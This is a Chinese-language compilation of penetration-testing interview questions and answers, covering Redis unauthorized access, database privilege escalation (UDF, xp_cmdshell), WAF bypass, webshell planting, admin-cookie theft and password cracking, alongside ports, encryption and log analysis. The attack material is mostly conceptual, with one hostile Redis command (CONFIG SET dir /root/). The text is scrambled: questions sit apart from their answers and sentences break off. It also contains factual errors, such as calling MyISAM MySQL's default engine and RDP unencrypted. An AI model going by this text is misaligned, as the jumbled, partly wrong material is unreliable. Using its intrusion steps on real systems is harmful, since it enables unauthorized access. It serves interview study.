的 Redis 数据库,攻击者可以使用 Redis 客户端工具,如 redis-cli、phpredis 等,连接到数据库。3. 获取 Redis 数据库的控制权:如果 Redis 数据库未进行授权访问,攻
击者可以直接使用 Redis 客户端工具执行恶意的 Redis 命令,如 CONFIG SET dir /root/,使 Redis 数据库的配置文件路径被修改为 /root/ 目录,进而获取 Redis 数据库的
控制权。 为了防止 Redis 未授权访问漏洞的攻击,需要加强 Redis 数据库的安全配置,如修改 Redis 数据库的默认端口号、对 Redis 数据库进行授权访问、对 Redis 数据
库的 CONFIG 命令进行限制等。同时,也需要及时修补 Redis 数据库的安全漏洞,避免被攻击者利用未知漏洞进行攻击。八、说一下 redis 数据库未授权访问的连接方式说一下 sqlserver 的提权方式#
九、MySQL 数据库怎样写入文件?写入文件的条件是什么?说一下 mssql oracle mysql 提权,udf#
提权怎么提? sqlserver 不知道网站绝对路径如何 getshell?#
MySQL 数据库的提权方式:MySQL 数据库的提权方式主要有以下几种:- 利用 UDF 提权:攻击者可以通过创建 UDF 函数实现提权功能。- 利用 MySQL 系统变量提权:攻击者 可以通过修改 MySQL 系统变量,如 secure_file_priv、general_log_file 等,实现提权。- 利用 MySQL 客户端工具提权:攻击者可以通过 MySQL 客户端工具,如 mysql、 mysqldump 等,执行恶意的 SQL 语句,从而获取权限。- 利用 MySQL 中的 SQL 注入漏洞:攻击者可以通过注入恶意的 SQL 语句,执行一些系统命令,从而获取权限。
MSSQL 和 Oracle 数据库的提权方式:MSSQL 和 Oracle 数据库的提权方式类似,主要有以下几种:- 利用系统存储过程:攻击者可以利用系统存储过程,如 xp_cmdshell、 sp_addlogin、sp_addsrvrolemember 等,执行一些系统命令,从而获取权限。- 利用 SQL 注入漏洞:攻击者可以通过注入恶意的 SQL 语句,执行一些系统命令,从而获取权 限。- 利用弱口令:攻击者可以通过猜测或爆破数据库的弱口令,从而获取权限。
MySQL、MSSQL 和 Oracle 中的 UDF 提权方式:攻击者可以通过创建 UDF 函数实现提权功能,具体方法是在数据库中创建一个 UDF 函数,然后将恶意代码写入 UDF 函数中, 最后通过执行 UDF 函数来实现提权。
SQL Server 不知道网站绝对路径如何 getshell:SQL Server 不知道网站绝对路径如何 getshell,可以通过以下步骤实现:- 利用 SQL 注入漏洞:攻击者可以通过注入恶意的 SQL 语句,执行一些系统命令,从而获取权限。- 利用 SQL Server 中的 xp_cmdshell 存储过程:攻击者可以利用 xp_cmdshell 存储过程执行恶意代码,从而获取权限。- 利用 SQL Server 中的弱口令:攻击者可以通过猜测或爆破 SQL Server 的弱口令,从而登录到 SQL Server 并获取权限。
MySQL 绕过 WAF 手段:MySQL 绕过 WAF 手段主要有以下几种:- 利用注释符:攻击者可以利用 MySQL 中的注释符来绕过 WAF 的检测,如 /**/、#、– 等。- 利用空白符:攻 击者可以利用 MySQL 中的空白符来绕过 WAF 的检测,如空格、制表符、换行符等。- 利用字符串拼接:攻击者可以利用字符串拼接的方式绕过 WAF 的检测,如 CONCAT、 CONCAT_WS、|| 等。- 利用函数别名:攻击者可以利用函数别名来绕过 WAF 的检测,如 SELECT @@version、SELECT user() 等。
PHP Study 默认数据库是 MySQL。它是一个集成了 PHP、MySQL、Apache 等软件的软件包,用于快速部署 PHP 开发环境。在安装 PHP Study 后,默认会安装 MySQL 数据 库,并将其作为 PHP 应用的数据库。
可以通过以下几种方式来区分 MySQL、MSSQL 和 Oracle 数据库:
MySQL 联合查询语句是使用 UNION 操作符连接两个或多个 SELECT 查询语句的语句。联合查询可以将多个查询结果合并为一个结果集,查询的列数和数据类型必须一致。联合 查询的语法如下:
十、说一下 mysql 绕过 waf 手段 PHP study 默认数据库是啥?#
十一、如何区分 mysql,mssql,oracle?#
1. 语法:不同的数据库有不同的 SQL 语法,通过查询语句的语法来区分数据库类型。例如,MySQL 中使用 LIMIT 子句来限制查询结果的数量,而 MSSQL 和 Oracle 中使用
TOP 子句来实现同样的功能。
2. 特性:不同的数据库有不同的特性,通过查询数据库的特性来区分数据库类型。例如,MySQL 支持多种存储引擎,而 MSSQL 和 Oracle 支持分布式事务。
3. 端口:每个数据库都有默认的端口,通过查询数据库的端口来区分数据库类型。例如,MySQL 的默认端口是 3306 ,而 MSSQL 的默认端口是 1433 。
4. 版本:不同的数据库有不同的版本,通过查询数据库的版本来区分数据库类型。例如,MySQL 的版本号格式为 X.Y.Z,而 MSSQL 的版本号格式为 X.Y.Z.A。
5. 驱动:不同的数据库需要使用不同的驱动来进行连接,通过查询连接数据库的驱动来区分数据库类型。例如,MySQL 使用 JDBC 驱动,而 MSSQL 使用 ODBC 驱动。 总
之,通过查询查询语句、特性、端口、版本、驱动等信息,可以帮助我们来区分不同的数据库类型。十二、说一下 Sql 注入语句增删改查具体命令 Mysql 数据库用的什么引擎?#
1. SQL 注入语句增删改查具体命令:- 增加数据:INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...);- 删除数据:DELETE
FROM table_name WHERE condition;- 修改数据:UPDATE table_name SET column1 = value1, column2 = value2 WHERE condition;- 查询数据:SELECT column1,
column2, ... FROM table_name WHERE condition;
2. MySQL 数据库使用的引擎:MySQL 数据库使用多种存储引擎,包括 MyISAM、InnoDB、MEMORY、CSV、BLACKHOLE 等。其中,MyISAM 是默认的存储引擎,同时也
是最广泛使用的存储引擎之一。MyISAM 引擎具有良好的性能和较高的可靠性,适合于读多写少的应用场景。InnoDB 引擎则支持事务和外键等高级功能,适合于需要高并
发和数据一致性的应用场景。MEMORY 引擎则将数据存储在内存中,适合于对读写性能有较高要求的应用场景。十三、说一下 MySQL 高版本低版本区别? sql 写入一句话木马要求?#
1. MySQL 高版本低版本区别:MySQL 的版本升级通常会增加新的特性和功能,同时也会修复已知的漏洞和安全问题。一般来说,高版本的 MySQL 相比低版本的 MySQL 在
以下方面有所改进:性能、安全、可靠性、可扩展性、功能等方面。例如,在 MySQL 5.5 版本之后,引入了多种新特性,例如 GTID 复制、InnoDB 支持全文索引等,提升
了 MySQL 的性能和可靠性。同时,MySQL 也在不断地修复已知的漏洞和安全问题,提升了 MySQL 的安全性。
2. SQL 写入一句话木马要求:SQL 写入一句话木马需要满足以下要求:
在 SQL 注入漏洞中执行 SQL 语句:攻击者需要在 SQL 注入漏洞中执行一些 SQL 语句,来获取数据库中的一些信息,例如数据库名、表名、字段名等。
利用 SQL 注入漏洞写入一句话木马:攻击者需要在 SQL 注入漏洞中写入一句话木马代码,例如 PHP 代码或者 ASP 代码等,以获取服务器的权限。
上传一句话木马:攻击者需要上传一句话木马到服务器上,以获取服务器的权限。
执行一句话木马:攻击者需要执行一句话木马代码,以获取服务器的权限。 总之,SQL 写入一句话木马需要攻击者利用 SQL 注入漏洞,写入一句话木马代码,并且能够成
功执行该代码,从而获取服务器的权限。十四、mysql 联合查询语句是什么语句?#
MySQL 和 SQL Server 是两种不同的关系型数据库管理系统,它们在以下方面有所不同:
1.开发公司:MySQL 由 Oracle 公司开发,而 SQL Server 由 Microsoft 公司开发。
2.操作系统支持:MySQL 支持多种操作系统,包括 Windows、Linux、Unix 等,而 SQL Server 只支持 Windows 系统。
3.数据库引擎:MySQL 使用多种存储引擎,包括 MyISAM、InnoDB、MEMORY、CSV、BLACKHOLE 等,而 SQL Server 使用主要使用自己的 Microsoft SQL Server 数据库引 擎。
4.开源性:MySQL 是一种开源的数据库管理系统,可以免费使用和修改,而 SQL Server 是一种商业软件,需要购买许可证才能使用。
5.性能:MySQL 在支持高并发、大数据量的读写操作方面表现较好,而 SQL Server 在处理大规模事务和数据仓库等场景方面表现较好。
基于以上差异,可以根据实际需求选择不同的数据库管理系统,下面是一些参考:#
流量分析和日志分析都是网络分析的一部分,但是它们有不同的重点和目的。 流量分析是对网络数据流量的分析,包括数据包的大小、数量、来源和目的地等。它的目的是了解#
网络的使用情况,检测潜在的网络问题,优化网络性能和安全性。 日志分析是对网络设备和应用程序产生的日志数据的分析。日志数据包含了网络设备和应用程序的运行状态、#
错误信息、警报信息等。通过日志分析,可以了解设备和应用程序的运行情况,检测潜在的问题,更好地管理和维护网络。#
默认情况下,Apache 的日志文件保存在服务器的 /var/log/httpd/ 目录下。在该目录下,有两个主要的日志文件:access_log 和 error_log。 access_log 文件记录了所有访问服 务器的请求,包括访问者的IP地址、请求的URL、请求时间等信息。该文件可以用于统计网站的访问量、流量等信息,也可以用于分析网站的用户行为。 error_log 文件记录了服 务器的错误信息,包括服务器的启动、运行过程中发生的错误、警告等信息。通过分析 error_log 文件,可以快速定位服务器的问题并进行排除。 当然,这些默认的日志文件的 位置也可能因为各种原因而变化。如果不确定日志文件的位置,可以查看 Apache 的配置文件,通常在 /etc/httpd/ 目录下,查找 Log 相关的配置项。
通常情况下,Web 日志文件的位置取决于 Web 服务器的配置。以 Apache 服务器为例,其默认情况下会将日志文件保存在 /var/log/httpd/ 目录下,其中包括 access_log 和 error_log 两个文件。而 Nginx 服务器的默认日志文件路径是 /var/log/nginx/,其中包括 access.log 和 error.log 两个文件。但是,如果服务器的配置文件中对日志文件的位置进 行了修改,那么日志文件的位置也会相应地改变。如果需要查找 Web 日志文件的位置,可以参考 Web 服务器的官方文档或者查看服务器的配置文件。
常见的 Web 服务器日志文件有哪些,以及对于网站被挂马的情况该怎么处理和分析日志。 常见的 Web 服务器日志文件包括:
Access Log(访问日志):记录了每个请求的访问时间、客户端 IP、请求的 URL、HTTP 状态码等信息。
Error Log(错误日志):记录了 Web 服务器的错误信息、警告信息等。
SSL Log(SSL 证书日志):记录了 SSL 证书的相关信息。
Rewrite Log(重写日志):记录了重写规则的执行情况。
十五、说一下 mysql 和 sql server 区别和利用方式#
1. 对于一些小型应用,或者需要在多个操作系统上运行的应用,可以选择 MySQL。
2. 对于一些大型企业应用,或者需要在 Windows 系统上运行的应用,可以选择 SQL Server。
3. 对于一些需要高并发、大数据量的读写操作的应用,可以选择 MySQL。
4. 对于一些需要处理大规模事务和数据仓库等场景的应用,可以选择 SQL Server。 综上所述,选择 MySQL 还是 SQL Server,需要根据实际需求和应用场景来选择。第十九章 其他#
一、流量分析和日志分析具体是什么?做过日志分析吗?#
二、apache 日志保存在哪?#
三、web 日志你是在哪个目录下看见的?#
四、有具体看过哪些日志文件吗,都有哪些日志?网站被挂马了怎么处理?怎么分析日志?#
复制代码UNION
SELECT column1, column2, ... FROM table2 WHERE condition2
UNION
...```
其中,`UNION` 操作符用于连接两个查询语句,每个 SELECT 语句都需要指定需要查询的列和表名以及查询条件。在联合查询中,查询的列数和数据类型必须一致,否则会导致查询失败。
例如,查询两个表中的员工姓名和工资:
```SELECT name, salary FROM employee WHERE department='Sales'UNION
SELECT name, salary FROM employee WHERE department='Marketing';```
该查询语句会先查询 `department` 为 Sales 的员工的姓名和工资,然后再查询 `department` 为 Marketing 的员工的姓名和工资,并将两个结果集合并为一个结果集返回。CGI Log(CGI 日志):记录了 CGI 程序的运行情况。
如果网站被挂马了,可以通过以下步骤进行处理:#
1.将网站下线,避免继续受到攻击。#
2.扫描服务器和网站的安全漏洞,尽快修复漏洞,防止再次受到攻击。#
3.更改所有的管理员密码和 FTP 密码,确保不会再被黑客盗取账号密码#
4.恢复网站的备份,确保不会丢失数据。#
5.对网站进行加固和优化,提高安全性和性能。#
对于如何分析日志,可以采用以下方法:#
1.分析访问日志,了解网站的访问情况,包括访问量、访问来源、访问时间等,以及可能存在的异常访问情况。#
2.分析错误日志,了解服务器的运行状况,包括错误信息、警告信息等,以及可能存在的异常情况。#
3.利用 Web 日志分析工具(如 AWStats、Webalizer 等)进行日志分析,帮助分析网站的访问情况、流量情况、用户行为等。
4.对于被黑客攻击的情况,可以通过分析访问日志和错误日志,查找异常的访问请求,了解攻击者的攻击方式和目的,从而采取相应的防御措施。
是的,我了解一些加密算法的基本原理和应用场景。 加密算法是一种将明文转换成密文的过程,以保证信息的机密性和安全性。常见的加密算法有对称加密算法和非对称加密算#
法两种。 对称加密算法使用相同的密钥进行加密和解密,例如 DES、3DES、AES 等算法。由于其加解密速度快,适用于数据量较大的场景,但是密钥的管理和分发较为困难,也#
容易受到中间人攻击等安全威胁。 非对称加密算法使用公钥和私钥进行加密和解密,例如 RSA、ECC 等算法。由于其具有较高的安全性和密钥管理的便利性,适用于数字签名、#
密钥协商等场景。但是其加解密速度较慢,适用于数据量较小的场景。 除此之外,还有哈希算法、消息认证码算法等用于信息完整性校验和身份验证的算法,以及混淆算法、置#
换算法等用于数据混淆和保护的算法。#
AES(Advanced Encryption Standard)是一种对称加密算法,是目前公认的最安全的加密算法之一。
它使用固定长度的密钥进行加密和解密,密钥长度可以是 128 位、 192 位或 256 位,其中 128 位密钥应用最为广泛。AES算法的加密和解密过程都是基于矩阵运算和轮函数的,具有 较高的加密强度和运算速度。
我国在密码学领域一直有自主研发加密算法的需求,因此我国也开发了许多加密算法,如SM2、SM3、SM4等。SM4是我国自主设计的一种分组密码算法,使用 128 位密钥和 128 位分组,较为适用于大数据量的加密和解密。我国现在规定,商用加密算法密钥长度不应低于 128 位。
在实际工作中,我遇到过加密的代码,例如对 JavaScript 代码进行加密混淆,提高代码的安全性。常见的 JavaScript 加密混淆工具有 UglifyJS、babel-minify、terser 等,它们 会对代码进行代码压缩、变量混淆、字符串加密等操作,使得代码难以被反编译和修改,提高代码的安全性和不可逆性。
对称加密和非对称加密是两种常见的加密方式。对称加密使用相同的密钥进行加密和解密,而非对称加密使用公钥加密,私钥解密。下面是这两种加密方式的具体介绍和区别:#
对称加密是指加密和解密使用的是相同的密钥,即加密密钥和解密密钥相同。对称加密算法的加密速度快,但密钥管理较为困难,容易受到攻击和泄漏。 常见的对称加密算法有#
DES、3DES、AES 等。#
非对称加密是指加密和解密使用的不同的密钥,即公钥和私钥。公钥可以随意发布,而私钥必须保密,只有拥有私钥的人才能进行解密。非对称加密算法的加密速度较慢,但密#
钥管理方便,安全性较高,适用于数字签名、密钥协商等场景。#
常见的非对称加密算法有 RSA、ECC 等。#
如果 minikazi 抓取的密码不是通用密码,那么一般可以通过以下方式来处理:
五、有了解过加密算法吗?#
六、什么是 AES?用多少位加密的?我国用的多少位?有碰到过哪种代码加密吗?#
七、什么是对称加密和非对称加密?有什么区别?对称加密有哪些?非对称加密有哪些? minikazi#
抓取密码,密码不通用怎么办?#
1. 对称加密#
2. 非对称加密#
尝试使用其他的密码破解工具,如 Hydra、Medusa 等,或者使用暴力破解工具来尝试破解密码。
如果密码不是通用密码,那么可能是用户自己设置的密码,可以尝试通过社会工程学的方式来获取密码,如询问用户的生日、爱好、手机号码等信息。
如果以上方法都无法获取密码,那么可以尝试重置密码,或者使用其他的认证方式来进行访问,如短信验证、邮件验证等。同时,也要加强对密码的管理,使用复杂的密码
和多因素认证方式,提高账户的安全性。RSA是一种非对称加密算法,它使用公钥和私钥进行加密和解密。 RSA加密过程如下:1. 首先,需要生成一对公钥和私钥。公钥可以公开,而私钥必须保密。2. 发送方使用对方#
的公钥对明文进行加密,得到密文。3. 接收方使用自己的私钥对密文进行解密,得到明文。#
具体的加密过程如下:1. 选择两个不同的质数p和q,计算它们的乘积n=p q 。 2. 计算 n 的欧拉函数 φ(n)=(p-1) (q-1)。3. 选择一个小于φ(n)的正整数e,使得e和φ(n)互质。4. 计算e关 于φ(n)的模反元素d,即满足(e*d) mod φ(n) = 1的整数d。5. 公钥为(n, e),私钥为(n, d)。6. 加密:对明文M,计算C = M^e mod n,得到密文C。7. 解密:对密文C,计算M = C^d mod n,得到明文M。
密码爆破是一种基于暴力破解的攻击方式,它尝试使用所有可能的密码组合来进行破解。密码爆破通常用于猜解密码、破解加密算法等场景,是一种常见的攻击手段。为了避免 密码爆破攻击,我们可以采取一些措施来增加密码的复杂度,如使用强密码、多因素认证等方式,提高密码的安全性。
生成密码字典的方法有很多种,一般都是通过爬取公开的网站、社交网络、论坛等渠道,获取到大量的常见密码、弱口令、常用词汇等信息,然后将这些信息整合在一起,生成#
一个包含大量密码组合的字典文件。此外,还可以使用一些密码生成器生成一些随机的密码组合,加入到字典文件中。#
在进行密码爆破时,一般使用字典攻击的方式,即将生成的密码字典中的所有密码都尝试一遍,直到找到正确的密码为止。#
如果密码经过加密,可以使用破解工具或者算法对加密后的密文进行解密,或者使用暴力破解的方式进行尝试。 对于一些常见的加密算法,如MD5、SHA1等,可以使用已知明#
文攻击的方式进行破解,即使用已知的明文和密文对比,逆推出加密算法的密钥,从而破解出正确的密码。但是如果密码经过较强的加密算法加密,如RSA、AES等,那么破解的#
难度会大大增加,需要使用更加复杂的算法和计算资源来进行破解。#
DES,它是一种对称加密算法,已经被证明存在许多安全漏洞,如密钥长度较短、密钥管理不够安全等问题,容易受到暴力破解和差分攻击等攻击方式的影响,因此现在已经不#
再推荐使用。现在常用的对称加密算法有 AES、3DES 等,它们具有更高的安全性和更好的性能表现,被广泛应用于网络安全领域。#
Cookie 是一种在客户端(一般是浏览器)存储数据的技术,它可以在客户端和服务器之间传递数据。Cookie 通常用于记录用户的登录状态、用户的喜好设置、购物车信息等。 在 Web 开发中,Cookie 通常用于实现会话管理和用户跟踪等功能,具体的作用包括:
拿到 Cookie 后,攻击者可以利用这些信息进行一些恶意操作,如模拟用户登录、篡改用户信息、窃取敏感信息等。
攻击者可以通过各种方式获取到 Cookie,如 XSS 攻击、CSRF 攻击、网络钓鱼等。其中,获取管理员的 Cookie 更加困难,需要攻击者具备一定的技术和资源,且需要管理员在 不知情的情况下访问恶意网站或应用。下面是一些攻击者可能采取的方式,获取管理员的 Cookie:1. 网络钓鱼:攻击者通过伪造网站或应用程序,引导管理员在不知情的情况下 访问,从而获取管理员的 Cookie。2. XSS 攻击:攻击者通过注入恶意脚本,在管理员访问受攻击网站时获取管理员的 Cookie。3. CSRF 攻击:攻击者通过伪造请求,诱骗管理员 在受攻击网站上执行恶意操作,从而获取管理员的 Cookie。4. 抓包攻击:攻击者在网络中截获管理员的请求和响应,获取管理员的 Cookie。为了避免 Cookie 泄露,网站和应用 程序可以采取一些措施,如使用 HTTPS 协议、设置 HttpOnly 和 Secure 属性、限制 Cookie 的有效期等,以增强 Cookie 的安全性。此外,管理员需要保持警惕,不要在不可信 的网站或应用程序上登录,避免被攻击者获取 Cookie。
Cookie 是一种在客户端存储数据的技术,可以在客户端和服务器之间传递数据,通常用于记录用户的登录状态、用户的喜好设置、购物车信息等。在 Web 开发中,Cookie 通常 用于实现会话管理和用户跟踪等功能。
以下是一些常见的端口号及其对应的服务:#
八、简单说一下 RSA 的加密过程?什么是密码爆破吗?#
九、怎么生成一个相关的密码字典?爆破的字典你是怎么去生成的?如果密码经过加密怎么去爆破?#
十、你有什么比较特殊的密码爆破经历吗?为什么现在不用 DES?#
十一、cookie 值作用#
1. 会话管理:Cookie 可以在客户端存储会话 ID,服务器根据会话 ID 来识别用户,实现会话管理。
2. 用户跟踪:Cookie 可以记录用户的访问信息,如访问时间、访问页面等,用于分析用户行为和用户画像等。
3. 自动登录:Cookie 可以在客户端存储用户的登录状态,下次用户访问时自动登录,提高用户体验。
4. 购物车管理:Cookie 可以在客户端存储用户的购物车信息,下次用户访问时可以继续购物。 需要注意的是,Cookie 存储的数据是明文的,容易被窃取和篡改,因此需要对
敏感信息进行加密和签名等安全保护措施,以保障用户的信息安全。十二、拿到 cookie 做什么?如何拿到管理员的 cookie?#
十三、Cookie 作用是什么?常见的端口有哪些?#
80 :HTTP 服务,用于 Web 浏览器访问网页。- 443:HTTPS 服务,用于 Web 浏览器以加密的方式访问网页。- 21:FTP 服务,用于文件传输。- 22:SSH 服务,用于远程
登录和执行命令。- 25:SMTP 服务,用于发送邮件。- 110:POP3 服务,用于接收邮件。- 143:IMAP 服务,用于接收邮件。- 53:DNS 服务,用于域名解析。- 3306:
MySQL 服务,用于数据库访问。 当然,这里只是列举了一些常见的端口和对应服务,并不是全部。3389 是远程桌面协议(RDP)的默认端口号,用于远程控制 Windows 操作系统。如果端口开放但无法连接,可能有以下原因:1. 防火墙屏蔽: 3389 端口可能被防火墙屏蔽, 导致无法连接。在 Windows 操作系统中,可以通过“高级安全策略”或“高级防火墙”配置中开放端口 3389 。2. RDP 服务未启动: 3389 端口可能已经开放,但 RDP 服务未启动, 导致无法连接。可以在 Windows 服务管理器中检查“远程桌面服务”是否已启动。3. 连接限制: 3389 端口可能被限制了连接次数,或者当前连接数已满,导致无法连接。可以尝 试等待一段时间,或者增加连接次数限制。4. 网络问题: 3389 端口可能出现网络问题,如网络延迟、丢包等,导致无法连接。可以检查网络连接状态,或者尝试使用其他网络连 接方式。5. 访问权限: 3389 端口可能需要特定的访问权限才能连接,如管理员权限。可以尝试使用管理员权限连接。需要注意的是,开放 3389 端口存在一定的安全风险,因为 攻击者可以利用此端口进行远程攻击。因此,建议不要在公网上开放 3389 端口,或者只允许特定 IP 地址访问。
23 端口是 Telnet 服务的默认端口号,可用于远程登录服务器进行维护和管理。Telnet 服务是一种不安全的远程登录协议,因为其通信过程不加密,可能被黑客截获并窃取登录 信息和敏感数据,因此不建议在公网上使用 Telnet 服务。
3306 端口是 MySQL 数据库的默认端口号,用于数据库访问。如果这个端口开放,意味着可能存在 MySQL 数据库服务。攻击者可以尝试使用漏洞或弱口令等方式获取数据库的 访问权限,进而窃取敏感数据或进行其他攻击。
PHPMyAdmin 是一个基于 Web 的 MySQL 数据库管理工具,使用 PHP 语言编写。如果攻击者知道 PHPMyAdmin 的路径和存在弱口令,那么攻击者可能能够登录到数据库并执 行一些恶意操作,如添加、修改、删除数据等。攻击者还可以通过 SQL 注入等方式获取更高的权限,进而窃取敏感数据或控制整个网站。因此,为了防止这种情况的发生,我们 应该及时更新 PHPMyAdmin,采用更加安全的账户密码,以及限制 PHPMyAdmin 的访问权限。
6379 端口是 Redis 数据库的默认端口号,用于 Redis 服务的数据交互。Redis 是一个内存数据库,常用于快速存储和访问数据,如缓存、计数器、消息队列等。Redis 的性能非 常出色,因此在现代 Web 开发中得到了广泛的应用。
Redis 存在一些已知的漏洞,其中比较严重的是未授权访问漏洞和远程代码执行漏洞。未授权访问漏洞是指攻击者可以访问 Redis 服务,但无需经过身份验证,从而可以执行恶 意操作,如读取或修改数据库、注入恶意脚本等。远程代码执行漏洞则是指攻击者可以在 Redis 服务中执行恶意代码,并以服务进程的权限执行操作,从而控制整个 Redis 服务 或者服务器。这些漏洞可能导致敏感数据泄露、服务拒绝、系统崩溃等问题。为了避免这些漏洞的发生,我们应该及时更新 Redis 服务,采用更加安全的身份验证方式,如密码 验证或 SSL 加密,限制 Redis 的访问权限,以及对 Redis 数据库进行定期备份等措施。同时,我们还应该加强 Redis 服务器的安全防护,如限制 Redis 服务器的访问权限、使用 防火墙、更新操作系统和软件等。
3389 端口是远程桌面协议(RDP)的默认端口号,用于远程控制 Windows 操作系统。由于其通信过程不加密,因此被攻击者利用的风险较高。攻击者可以使用暴力破解或漏洞 等方式获取远程登录权限,从而窃取敏感数据或控制整个系统。因此, 3389 端口通常被认为是高危端口之一。
FTP 是文件传输协议的缩写,用于文件的上传和下载。FTP 服务通常会开放 21 端口和 20 端口,其中 21 端口用于控制连接, 20 端口用于数据传输。由于 FTP 服务通常使用明文 方式传输数据和登录信息,因此容易被攻击者截获和窃取,从而导致敏感数据泄露和系统安全问题。因此,FTP 服务也被认为是高危服务之一。
3306 端口是 MySQL 数据库的默认端口号,用于数据库访问。如果这个端口开放,意味着可能存在 MySQL 数据库服务。攻击者可以尝试使用漏洞或弱口令等方式获取数据库的 访问权限,进而窃取敏感数据或进行其他攻击。
Redis 是一个内存数据库,常用于快速存储和访问数据,如缓存、计数器、消息队列等。Redis 存在一些已知的漏洞,其中比较严重的是未授权访问漏洞和远程代码执行漏洞。 这些漏洞可能导致敏感数据泄露、服务拒绝、系统崩溃等问题。因此,Redis 服务也被认为是高危服务之一。 总之, 3389 、FTP、 3306 和 Redis 等服务的端口都可能存在安全风 险,因此我们需要采取一些措施来加强安全防护,如开启防火墙、限制访问权限、使用加密传输协议、更新软件补丁等。
以下是一些常见的端口号和对应服务:#
十四、 3389 开放,但是无法连接的原因是什么?#
十五、 23 端口是什么? 3306 端口是什么?PHPmyadmin 有弱口令,你知道网站路径,你可以干#
啥?#
十六、 6379 是干啥的?有什么洞?#
十七、说一下 3389 ,FTP,3306,redis 对应的端口或者服务有哪些高危端口?#
十八、说一下常见端口号对应服务#
21 端口:FTP 服务#
22 端口:SSH 服务#
23 端口:Telnet 服务
25 端口:SMTP 服务
53 端口:DNS 服务
80 端口:HTTP 服务
110 端口:POP3 服务
123 端口:NTP 服务
143 端口:IMAP 服务
161 端口:SNMP 服务
443 端口:HTTPS 服务
3306 端口:MySQL 数据库服务
3389 端口:远程桌面服务
5432 端口:PostgreSQL 数据库服务
6379 端口:Redis 数据库服务需要注意的是,这些端口号和服务不一定都是默认值,在实际应用中可能会进行修改。因此,在进行安全设置和网络监控时,需要根据实际情况进行调整。#
POP3(Post Office Protocol 3)和 IMAP(Internet Message Access Protocol)都是电子邮件协议,用于从邮件服务器上获取邮件。它们的主要区别在于:
table 是 SQLite 中的一种关键字,用于创建一个表格。 SQLite 是一种轻量级的关系型数据库,它使用 SQL 语言进行数据操作。在 SQLite 中,table 语句用于创建一个新的 表格,并定义表格中的字段名、数据类型、约束条件等属性,例如:
WebShell 指的是一种运行在 Web 服务器上的脚本,可以通过 Web 界面来执行一些系统命令或者上传下载文件等操作。攻击者通常通过各种漏洞来将 WebShell 写入服务器,然 后利用 WebShell 来获取服务器的控制权。 以下是一些常见的 WebShell 写入方法:
API 是 Application Programming Interface 的缩写,即应用程序编程接口。简单来说,API 是一组定义了软件组件之间如何互相通信的规则、协议和工具集合。通过 API,不同 的软件组件可以相互通信、交换数据、共享功能等,从而实现更加复杂和强大的应用。 API 通常被用于以下场景:
Iptables 是 Linux 系统上的一个防火墙工具,可以根据不同的规则对网络数据包进行过滤、转发、修改等操作,从而实现网络安全和流量控制等功能。
十九、pop3 和 IMAP 的区别?了解 nohup 吗?#
1. 工作方式:POP3 是一种简单的、离线的邮件协议,它会将邮件下载到本地客户端,并从服务器上删除邮件。因此,POP3 协议只支持单向同步,即只能将邮件从服务器上#
下载到客户端,不能将客户端上的已读邮件同步到服务器上。IMAP 则是一种在线的邮件协议,它可以在客户端和服务器之间进行双向同步,即可以将客户端上的已读邮#
件、删除邮件等操作同步到服务器上。#
2. 邮件存储:POP3 通常会将邮件下载到本地客户端,因此客户端需要有足够的存储空间来存储邮件。IMAP 则是将邮件存储在服务器上,因此客户端只需要下载邮件的头部#
信息,而不需要将整个邮件下载到本地。#
3. 邮件管理:由于 IMAP 支持在线同步,因此它具有更丰富的邮件管理功能,如可以创建、删除、移动邮件夹等操作。而 POP3 则只支持简单的邮件下载和删除操作。#
nohup 是一种 Linux 命令,用于在后台运行一个命令,并将命令的输出重定向到指定的文件中。nohup 命令的语法为: nohup command [args] > output.file 2>&1
& 其中,command 是要运行的命令,args 是命令的参数,output.file 是要重定向输出的文件,& 表示将命令放入后台运行。nohup 命令的作用是让命令在后台运行,即
使关闭终端或退出登录,命令仍然可以继续运行。因此,nohup 命令通常用于长时间运行的程序或脚本,以避免在终端关闭时终止程序的运行。二十、table 这个语句的作用是什么?怎么判断 cnd 加速方式#
二十一、有哪些写进 webshell 的方法#
1. 文件上传漏洞:攻击者通过 Web 应用程序的文件上传功能上传恶意文件,例如以 PHP 语言编写的 WebShell 脚本。
2. SQL 注入漏洞:攻击者通过 Web 应用程序的 SQL 注入漏洞来执行恶意代码,例如将 WebShell 写入数据库中的某个表格中。
3. RFI/LFI 漏洞:攻击者通过 Web 应用程序的远程文件包含(RFI)或本地文件包含(LFI)漏洞来执行恶意代码,例如通过包含 WebShell 脚本来获取服务器的控制权。
4. 命令注入漏洞:攻击者通过 Web 应用程序的命令注入漏洞来执行系统命令,例如将 WebShell 写入 Web 应用程序的日志文件中,并通过命令注入漏洞来执行该脚本。 为了
防止 WebShell 的写入,需要加强 Web 应用程序的安全性,包括对用户输入的数据进行过滤和验证、对 Web 应用程序的文件上传功能进行限制、及时修补 Web 应用程序
的漏洞等措施。二十二、api 是什么?#
1. 系统间的数据交换:不同的系统之间需要交换数据,比如一个电商网站需要与支付系统对接,实现在线支付功能。#
2. 编程语言间的互通:不同编程语言之间可以通过 API 进行交互,比如 Python 通过调用 Twitter 的 API 来获取推文数据。
3. 应用程序的功能扩展:应用程序可以通过提供 API 来扩展功能,例如一些社交媒体应用提供 API,允许第三方开发者开发相关的应用。 API 可以基于不同的协议和数据格
式,例如 RESTful、SOAP、JSON 等。常见的 API 类型包括网络 API、操作系统 API、库函数 API 等。在 Web 开发中,API 通常是 Web 服务的一部分,提供了一组 HTTP
请求和响应的接口,以实现 Web 应用程序和其他应用程序之间的数据交互。二十三、知道 iptables 吗?会配置吗?#
sql复制代码CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT NOT NULL,
age INTEGER,
email TEXT UNIQUE
);```
这个语句创建了一个名为 `users` 的表格,包含了 `id`、`name`、`age` 和 `email` 四个字段,并定义了它们的数据类型和约束条件。其中,`id` 字段是主键(PRIMARY
KEY),`name` 字段不允许为空(NOT NULL),`email` 字段是唯一的(UNIQUE)。
关于 cnd 加速方式,我猜测您指的是 CDN(Content Delivery Network),即内容分发网络。CDN 是一种通过分布在不同地理位置的节点来加速内容传输的技术,可以有效地提高网站
的访问速度和稳定性。如果您想判断 CDN 是否生效,可以通过以下方式进行测试:1. 在浏览器中打开开发者工具(一般是按 F12 键打开),切换到 Network(网络)选项卡;2. 访问您
的网站,并观察 Network 选项卡中的请求列表,查看请求的时间、大小、状态码等信息;3. 如果您的网站启用了 CDN,可以在请求的 URL 中看到 CDN 的域名或路径,例如
